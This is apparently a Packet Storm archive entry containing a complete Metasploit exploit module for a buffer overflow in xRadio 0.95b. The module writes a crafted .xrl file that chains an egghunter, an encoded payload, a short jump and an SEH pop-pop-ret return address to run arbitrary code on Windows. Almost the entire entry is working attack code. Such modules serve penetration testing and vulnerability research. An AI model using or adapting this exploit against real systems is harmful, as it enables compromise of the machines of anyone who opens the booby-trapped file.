xRadio 0.95b Buffer Overflow

2012-04-19T00:00:00
ID PACKETSTORM:112006
Type packetstorm
Reporter b0telh0
Modified 2012-04-19T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
include Msf::Exploit::Remote::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'xRadio 0.95b Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in xRadio 0.95b.  
Using the application to import a specially crafted xrl file,  
a buffer overflow occurs allowing arbitrary code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'b0telh0 <me[at]gotgeek.com.br>',  
],  
'References' =>  
[  
[ 'BID', '46290' ],  
[ 'EDB', '16141' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
'DisablePayloadHandler' => 'true'  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x0a\x0d",  
'StackAdjustment' => -3500  
},  
'Targets' =>  
[  
[ 'Windows Universal',  
{  
# pop eax - pop ebx - ret xradio.exe  
'Ret' => 0x0047E282  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Feb 08 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [true, 'The file name.', 'msf.xrl'])  
], self.class)  
  
end  
  
def exploit  
eggoptions =  
{  
:checksum => true,  
:eggtag => 'w00t'  
}  
  
hunter,egg = generate_egghunter(payload.encoded, eggoptions)  
  
buffer = rand_text_alpha_upper(4066-egg.length)  
buffer << egg  
buffer << make_nops(10)  
buffer << hunter  
buffer << "\xeb\xd8\xff\xff" # nseh jmp back 40 bytes  
buffer << [target.ret].pack('V') # seh  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
file_create(buffer)  
end  
  
end  
`